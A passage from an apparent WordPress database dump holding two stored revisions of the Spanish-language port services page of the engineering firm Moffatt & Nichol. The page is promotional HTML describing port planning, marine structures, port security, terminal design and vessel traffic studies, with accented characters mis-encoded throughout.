marÃtima importantes en la dÃ©cada pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geogrÃ¡fica del grupo de servicios comerciales consultivos incluye proyectos terminados en NorteamÃ©rica, SudamÃ©rica y AmÃ©rica Central, el Caribe, Europa, Ãfrica, el Medio Oriente y Asia.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-planing.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"2\">planeamiento portuario</h1>\nMoffatt & Nichol entiende la naturaleza dinÃ¡mica del negocio de terminales de contenedores y por lo tanto la necesidad de flexibilidad y capacidad de ampliaciÃ³n operativas y del acceso optimizado a la terminal que se adapta a la tecnologÃa mÃ¡s reciente durante su vida econÃ³mica. Moffatt & Nichol es reconocido internacionalmente como lÃder e innovador en el planeamiento y diseÃ±o de puertos y terminales marÃtimas y su compleja infraestructura de apoyo.\n\nMoffatt & Nichol es la Ãºnica firma en NorteamÃ©rica que ofrece un equipo interno completamente integrado que puede manejar cada aspecto del desarrollo de un puerto de contenedores, desde el pronÃ³stico de carga hasta el diseÃ±o de una nueva terminal y su construcciÃ³n y puesta en funcionamiento. Moffatt & Nichol ha manejado el planeamiento, diseÃ±o y construcciÃ³n de mÃ¡s de 100 terminales de contenedores, incluyendo terminales automatizadas a nivel mundial, y algunos de los mayores proyectos de infraestructura de transporte de NorteamÃ©rica. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/managment.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"3\">gestiÃ³n de la construcciÃ³n</h1>\nMoffatt & Nichol proporciona servicios de supervisiÃ³n e inspecciÃ³n de la construcciÃ³n; la firma tiene un grupo central de veteranos profesionales de la construcciÃ³n con la experiencia para actuar como una extensiÃ³n del personal de nuestros clientes para apoyar toda la diversidad de situaciones con que se pueden encontrar durante la ejecuciÃ³n de los proyectos. Creemos que la gestiÃ³n de la construcciÃ³n no comienza con el aviso al contratista para proceder, sino con el planeamiento inicial del programa, el desarrollo del diseÃ±o del proyecto, y la estrategia completa para la factibilidad de la construcciÃ³n. Nuestros inspectores han proporcionado una pauta permanente con respecto de las operaciones y el mantenimiento, una respuesta rÃ¡pida a los problemas de ingenierÃa durante la construcciÃ³n y una supervisiÃ³n de la gestiÃ³n y del control de la calidad de la construcciÃ³n, y garantizan que la construcciÃ³n se realice estrictamente de acuerdo con los planos de diseÃ±o y las especificaciones tÃ©cnicas. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/marine-structure.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"4\">estructuras marÃtimas</h1>\nComo una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n internacional por proporcionar soluciones innovadoras a la industria portuaria y marÃtima. Desde la llegada de la contenedorizaciÃ³n hasta las complejas tendencias del movimiento de mercancÃas y las regulaciones medioambientales de hoy en dÃa, la firma ofrece capacidades integradas internas para apoyar prÃ¡cticamente cualquier tarea portuaria, marÃtima o de transporte de carga en todo el mundo. Desde sus oficinas y centros especializados en NorteamÃ©rica, Europa y AmÃ©rica latina, Moffatt & Nichol puede hacerse cargo de un proyecto desde el anÃ¡lisis conceptual y estudio de factibilidad hasta el planeamiento, el diseÃ±o y la construcciÃ³n marÃtima. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-security.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"5\">seguridad portuaria</h1>\n Moffatt & Nichol es un lÃder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marÃtima. De acuerdo con iniciativas de Seguridad Nacional de los EE.UU., la firma estÃ¡ mejorando activamente la conciencia del dominio portuario y marÃtimo al proporcionar sistemas de seguridad avanzados. La clave para proporcionar soluciones correctas es equilibrar la seguridad personal y la protecciÃ³n de infraestructura crÃtica con la continuidad del puerto y las operaciones portuarias comerciales. En consecuencia, Moffatt & Nichol desarrolla e implementa enfoques novedosos que unifican los objetivos de seguridad con el flujo eficiente del comercio. Nuestras soluciones integrales relacionadas con la seguridad son adaptadas para las partes interesadas regionales, autoridades portuarias, operadores de terminales y personal de respuesta relacionado con la seguridad en todo el mundo. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-automation.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"6\">automatizaciÃ³n portuaria</h1>\nCon dÃ©cadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas en todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y diseÃ±o de puertos, terminales marÃtimas y la compleja infraestructura de apoyo al movimiento de carga terrestre y de contenedores hoy en dÃa.\n \nEl desarrollo de una terminal de contenedores automatizada partiendo desde cero es una posibilidad desafiante. Requiere una comprensiÃ³n de aspectos crÃticos tales como espacio y logÃstica disponibles, configuraciones del terreno, selecciÃ³n del equipo, interfaz de los sistemas de operaciÃ³n, polÃticas y regulaciones gubernamentales, prÃ¡cticas laborales, restricciones medioambientales y limitaciones de capacidad. El equipo de profesionales de Moffatt & Nichol incluye a importantes expertos de la industria que tienen una experiencia inigualable en el desarrollo de terminales de contenedores. Ellos aplican su experiencia y conocimientos para desarrollar terminales de contenedores modernas, flexibles y avanzadas que resistirÃ¡n el paso del tiempo.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fery-terminals.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"7\">terminales de transbordadores</h1>\nComo una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseÃ±o de instalaciones relacionadas con transbordadores en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y anÃ¡lisis econÃ³micos hasta el planeamiento, diseÃ±o, gestiÃ³n del programa y apoyo en la construcciÃ³n. La firma ha sido responsable de proyectos tan diversos como grandes transbordadores de pasajeros y carga hasta operaciones mÃ¡s pequeÃ±as de taxis acuÃ¡ticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operaciÃ³n de los terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a los miembros de la comunidad marÃtima, el sector gubernamental, el sector de logÃstica intermodal y la comunidad inversora por igual.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/bulk-terminals.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"8\">terminales de graneles</h1>\nMoffatt & Nichol ofrece a sus clientes un conjunto completo de servicios de planeamiento y diseÃ±o para terminales e instalaciones de manipulaciÃ³n de materiales a granel. Nuestras especializaciones incluyen el desarrollo de anÃ¡lisis financieros, estudios de factibilidad, planes maestros, documentos de diseÃ±o en detalle y la gestiÃ³n y apoyo de la construcciÃ³n para una variedad de instalaciones como atracaderos, espigones y Ã¡reas de carga y descarga hasta sistemas de almacenamiento y transferencia, asÃ como redes de transporte interior. Nuestra cartera de proyectos incluye terminales e instalaciones que manejan carbÃ³n, menas, concentrados minerales, fertilizantes, granos y otros productos agrÃcolas, agregados de construcciÃ³n, maderas, graneles lÃquidos y otros materiales a granel. Al combinar nuestra experiencia marÃtima con el conocimiento especÃfico de la tecnologÃa y el equipo de manipulaciÃ³n de graneles, Moffatt & Nichol puede dar apoyo a nuestros clientes con la infraestructura y las operaciones mÃ¡s eficientes, al mismo tiempo que maximizamos su funcionamiento. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/gate-planing.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"9\">planeamiento y diseÃ±o de compuertas</h1>\nLa gran experiencia de Moffatt & Nichol en seguridad de terminales marÃtimas y diseÃ±o de compuertas permite que nuestro equipo entienda completamente los problemas asociados con los proyectos de compuertas de seguridad. Aunque haya muchas firmas que pueden proporcionar servicios de diseÃ±o de compuertas, solo hay unas cuantas que pueden jactarse de la combinaciÃ³n de experiencia en diseÃ±o de compuertas, familiaridad con protocolos de seguridad actuales y conocimiento de los estÃ¡ndares y especificaciones privados y gubernamentales de construcciÃ³n. Moffatt & Nichol goza de reputaciÃ³n mundial por la amplitud y profundidad de su experiencia con proyectos de compuertas y de seguridad.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fedring.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"10\">anÃ¡lisis de defensas</h1>\nMoffatt & Nichol ha completado muchas evaluaciones y diseÃ±os de sistemas de defensa para muelles, dÃ¡rsenas, muros de retenciÃ³n, defensas de puentes, etc. para diferentes clientes que incluyen la Guardia costera de EE.UU., la Marina de EE.UU., autoridades portuarias y compaÃ±Ãas navieras privadas. Nuestra especializaciÃ³n en sistemas de amarre y sistemas de defensa hizo que Moffatt & Nichol sea elegido para escribir los manuales de diseÃ±o de la Marina de EE.UU. para los amarres fijos (NAVFAC DM 26.4) y los amarres de flota (NAVFAC DM 26.5). Moffatt & Nichol realiza rutinariamente anÃ¡lisis de amarres y atraques estÃ¡ticos y dinÃ¡micos para toda clase de amarres y tamaÃ±os de buques como parte de nuestra prÃ¡ctica portuaria.\n      \nMoffatt & Nichol reconoce que el sistema de defensa es la interfaz entre la nave y las instalaciones en la costa. El sistema de defensa estÃ¡ diseÃ±ado para actuar como un amortiguador durante el atraque de una nave absorbiendo o disipando la energÃa del impacto de la nave sin causar daÃ±os permanentes a la nave ni a las instalaciones en la costa. DespuÃ©s de atracar y amarrar la nave a las instalaciones de la costa, el sistema de defensa continÃºa proporcionando la interfaz entre la nave y la costa y transmite las cargas medioambientales (viento, olas y corrientes) en la nave a la estructura. La identificaciÃ³n de la magnitud y direcciÃ³n de las fuerzas que se utilizarÃ¡n en el diseÃ±o del sistema de defensa es crÃtica para el funcionamiento correcto del sistema.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/vesel.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"11\">estudios de maniobras y trÃ¡fico de buques</h1>\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numÃ©ricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numÃ©rico llamado Lenguaje de SimulaciÃ³n para ModelaciÃ³n Alternativa (SLAM, por sus siglas en inglÃ©s). Este modelo tambiÃ©n incluye un mÃ³dulo de grÃ¡ficos que proporciona una visualizaciÃ³n animada en pantalla de los resultados. Pueden hacerse anÃ¡lisis del trÃ¡fico de buques en puertos, vÃas navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilizaciÃ³n de un puerto. Moffatt & Nichol ha desarrollado un modelo avanzado de trÃ¡fico de buques que se ha aplicado con Ã©xito en varios proyectos de diferentes campos, desde el trÃ¡fico de naves comerciales en puerto hasta operaciones de trÃ¡fico de botes en puertos deportivos.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  \n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\n','Servicios portuarios','','inherit','open','open','','357-revision','','','2011-10-25 06:31:32','2011-10-25 06:31:32','',357,'http://moffattnichol.com/spanish/357-revision/',0,'revision','',0),(2425,1,'2012-06-13 09:26:45','2012-06-13 09:26:45','<div class=\"content_faq\">\r\n  <h3>servicios portuarios</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las Ã¡reas de anÃ¡lisis de carga de contenedores y planeamiento econÃ³mico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y pÃºblicos.\r\n\r\nNuestro grupo abarca una combinaciÃ³n de especialistas en economÃa, logÃstica, finanzas, gestiÃ³n y operaciones, con experiencia profesional en una organizaciÃ³n novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creaciÃ³n de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÃšnica en el mercado, la experiencia profesional de Moffatt & Nichol en el anÃ¡lisis y pronÃ³stico de los mercados de carga de contenedores, logÃstica de transporte y estrategias de inversiÃ³n, es complementada por las prÃ¡cticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribuciÃ³n logÃstica. Moffatt & Nichol ha proporcionado la debida diligencia comercial para muchas transacciones de infraestructura marÃtima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geogrÃ¡fica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, Ãfrica, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">planeamiento portuario</h1>\r\nMoffatt & Nichol entiende la naturaleza dinÃ¡mica del negocio de terminales de contenedores y por lo tanto la necesidad de flexibilidad y capacidad de ampliaciÃ³n operativas y del acceso optimizado a la terminal que se adapta a la tecnologÃa mÃ¡s reciente durante su vida econÃ³mica. Moffatt & Nichol es reconocido internacionalmente como lÃder e innovador en el planeamiento y diseño de puertos y terminales marÃtimas y su compleja infraestructura de apoyo.\r\n\r\nMoffatt & Nichol es la Ãºnica firma en Norteamérica que ofrece un equipo interno completamente integrado que puede manejar cada aspecto del desarrollo de un puerto de contenedores, desde el pronÃ³stico de carga hasta el diseño de una nueva terminal y su construcciÃ³n y puesta en funcionamiento. Moffatt & Nichol ha manejado el planeamiento, diseño y construcciÃ³n de mÃ¡s de 100 terminales de contenedores, incluyendo terminales automatizadas a nivel mundial, y algunos de los mayores proyectos de infraestructura de transporte de Norteamérica. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/managment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">gestiÃ³n de la construcciÃ³n</h1>\r\nMoffatt & Nichol proporciona servicios de supervisiÃ³n e inspecciÃ³n de la construcciÃ³n; la firma tiene un grupo central de veteranos profesionales de la construcciÃ³n con la experiencia para actuar como una extensiÃ³n del personal de nuestros clientes para apoyar toda la diversidad de situaciones con que se pueden encontrar durante la ejecuciÃ³n de los proyectos. Creemos que la gestiÃ³n de la construcciÃ³n no comienza con el aviso al contratista para proceder, sino con el planeamiento inicial del programa, el desarrollo del diseño del proyecto, y la estrategia completa para la factibilidad de la construcciÃ³n. Nuestros inspectores han proporcionado una pauta permanente con respecto de las operaciones y el mantenimiento, una respuesta rÃ¡pida a los problemas de ingenierÃa durante la construcciÃ³n y una supervisiÃ³n de la gestiÃ³n y del control de la calidad de la construcciÃ³n, y garantizan que la construcciÃ³n se realice estrictamente de acuerdo con los planos de diseño y las especificaciones técnicas. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/marine-structure.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">estructuras marÃtimas</h1>\r\nComo una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n internacional por proporcionar soluciones innovadoras a la industria portuaria y marÃtima. Desde la llegada de la contenedorizaciÃ³n hasta las complejas tendencias del movimiento de mercancÃas y las regulaciones medioambientales de hoy en dÃa, la firma ofrece capacidades integradas internas para apoyar prÃ¡cticamente cualquier tarea portuaria, marÃtima o de transporte de carga en todo el mundo. Desde sus oficinas y centros especializados en Norteamérica, Europa y América latina, Moffatt & Nichol puede hacerse cargo de un proyecto desde el anÃ¡lisis conceptual y estudio de factibilidad hasta el planeamiento, el diseño y la construcciÃ³n marÃtima. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-security.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">seguridad portuaria</h1>\r\n Moffatt & Nichol es un lÃder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marÃtima. De acuerdo con iniciativas de Seguridad Nacional de los EE.UU., la firma estÃ¡ mejorando activamente la conciencia del dominio portuario y marÃtimo al proporcionar sistemas de seguridad avanzados. La clave para proporcionar soluciones correctas es equilibrar la seguridad personal y la protecciÃ³n de infraestructura crÃtica con la continuidad del puerto y las operaciones portuarias comerciales. En consecuencia, Moffatt & Nichol desarrolla e implementa enfoques novedosos que unifican los objetivos de seguridad con el flujo eficiente del comercio. Nuestras soluciones integrales relacionadas con la seguridad son adaptadas para las partes interesadas regionales, autoridades portuarias, operadores de terminales y personal de respuesta relacionado con la seguridad en todo el mundo. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-automation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">automatizaciÃ³n portuaria</h1>\r\nCon décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas en todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y diseño de puertos, terminales marÃtimas y la compleja infraestructura de apoyo al movimiento de carga terrestre y de contenedores hoy en dÃa.\r\n \r\nEl desarrollo de una terminal de contenedores automatizada partiendo desde cero es una posibilidad desafiante. Requiere una comprensiÃ³n de aspectos crÃticos tales como espacio y logÃstica disponibles, configuraciones del terreno, selecciÃ³n del equipo, interfaz de los sistemas de operaciÃ³n, polÃticas y regulaciones gubernamentales, prÃ¡cticas laborales, restricciones medioambientales y limitaciones de capacidad. El equipo de profesionales de Moffatt & Nichol incluye a importantes expertos de la industria que tienen una experiencia inigualable en el desarrollo de terminales de contenedores. Ellos aplican su experiencia y conocimientos para desarrollar terminales de contenedores modernas, flexibles y avanzadas que resistirÃ¡n el paso del tiempo.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fery-terminals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de instalaciones relacionadas con transbordadores en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y anÃ¡lisis econÃ³micos hasta el planeamiento, diseño, gestiÃ³n del programa y apoyo en la construcciÃ³n. La firma ha sido responsable de proyectos tan diversos como grandes transbordadores de pasajeros y carga hasta operaciones mÃ¡s pequeñas de taxis acuÃ¡ticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operaciÃ³n de los terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a los miembros de la comunidad marÃtima, el sector gubernamental, el sector de logÃstica intermodal y la comunidad inversora por igual.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/bulk-terminals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">terminales de graneles</h1>\r\nMoffatt & Nichol ofrece a sus clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulaciÃ³n de materiales a granel. Nuestras especializaciones incluyen el desarrollo de anÃ¡lisis financieros, estudios de factibilidad, planes maestros, documentos de diseño en detalle y la gestiÃ³n y apoyo de la construcciÃ³n para una variedad de instalaciones como atracaderos, espigones y Ã¡reas de carga y descarga hasta sistemas de almacenamiento y transferencia, asÃ como redes de transporte interior. Nuestra cartera de proyectos incluye terminales e instalaciones que manejan carbÃ³n, menas, concentrados minerales, fertilizantes, granos y otros productos agrÃcolas, agregados de construcciÃ³n, maderas, graneles lÃquidos y otros materiales a granel. Al combinar nuestra experiencia marÃtima con el conocimiento especÃfico de la tecnologÃa y el equipo de manipulaciÃ³n de graneles, Moffatt & Nichol puede dar apoyo a nuestros clientes con la infraestructura y las operaciones mÃ¡s eficientes, al mismo tiempo que maximizamos su funcionamiento. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/gate-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">planeamiento y diseño de compuertas</h1>\r\nLa gran experiencia de Moffatt & Nichol en seguridad de terminales marÃtimas y diseño de compuertas permite que nuestro equipo entienda completamente los problemas asociados con los proyectos de compuertas de seguridad. Aunque haya muchas firmas que pueden proporcionar servicios de diseño de compuertas, solo hay unas cuantas que pueden jactarse de la combinaciÃ³n de experiencia en diseño de compuertas, familiaridad con protocolos de seguridad actuales y conocimiento de los estÃ¡ndares y especificaciones privados y gubernamentales de construcciÃ³n. Moffatt & Nichol goza de reputaciÃ³n mundial por la amplitud y profundidad de su experiencia con proyectos de compuertas y de seguridad.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fedring.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">anÃ¡lisis de defensas</h1>\r\nMoffatt & Nichol ha completado muchas evaluaciones y diseños de sistemas de defensa para muelles, dÃ¡rsenas, muros de retenciÃ³n, defensas de puentes, etc. para diferentes clientes que incluyen la Guardia costera de EE.UU., la Marina de EE.UU., autoridades portuarias y compañÃas navieras privadas. Nuestra especializaciÃ³n en sistemas de amarre y sistemas de defensa hizo que Moffatt & Nichol sea elegido para escribir los manuales de diseño de la Marina de EE.UU. para los amarres fijos (NAVFAC DM 26.4) y los amarres de flota (NAVFAC DM 26.5). Moffatt & Nichol realiza rutinariamente anÃ¡lisis de amarres y atraques estÃ¡ticos y dinÃ¡micos para toda clase de amarres y tamaños de buques como parte de nuestra prÃ¡ctica portuaria.\r\n      \r\nMoffatt & Nichol reconoce que el sistema de defensa es la interfaz entre la nave y las instalaciones en la costa. El sistema de defensa estÃ¡ diseñado para actuar como un amortiguador durante el atraque de una nave absorbiendo o disipando la energÃa del impacto de la nave sin causar daños permanentes a la nave ni a las instalaciones en la costa. Después de atracar y amarrar la nave a las instalaciones de la costa, el sistema de defensa continÃºa proporcionando la interfaz entre la nave y la costa y transmite las cargas medioambientales (viento, olas y corrientes) en la nave a la estructura. La identificaciÃ³n de la magnitud y direcciÃ³n de las fuerzas que se utilizarÃ¡n en el diseño del sistema de defensa es crÃtica para el funcionamiento correcto del sistema.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/vesel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">estudios de maniobras y trÃ¡fico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de SimulaciÃ³n para ModelaciÃ³n Alternativa (SLAM, por sus siglas en inglés). Este modelo también incluye un mÃ³dulo de grÃ¡ficos que proporciona una visualizaciÃ³n animada en pantalla de los resultados. Pueden hacerse anÃ¡lisis del trÃ¡fico de buques en puertos, 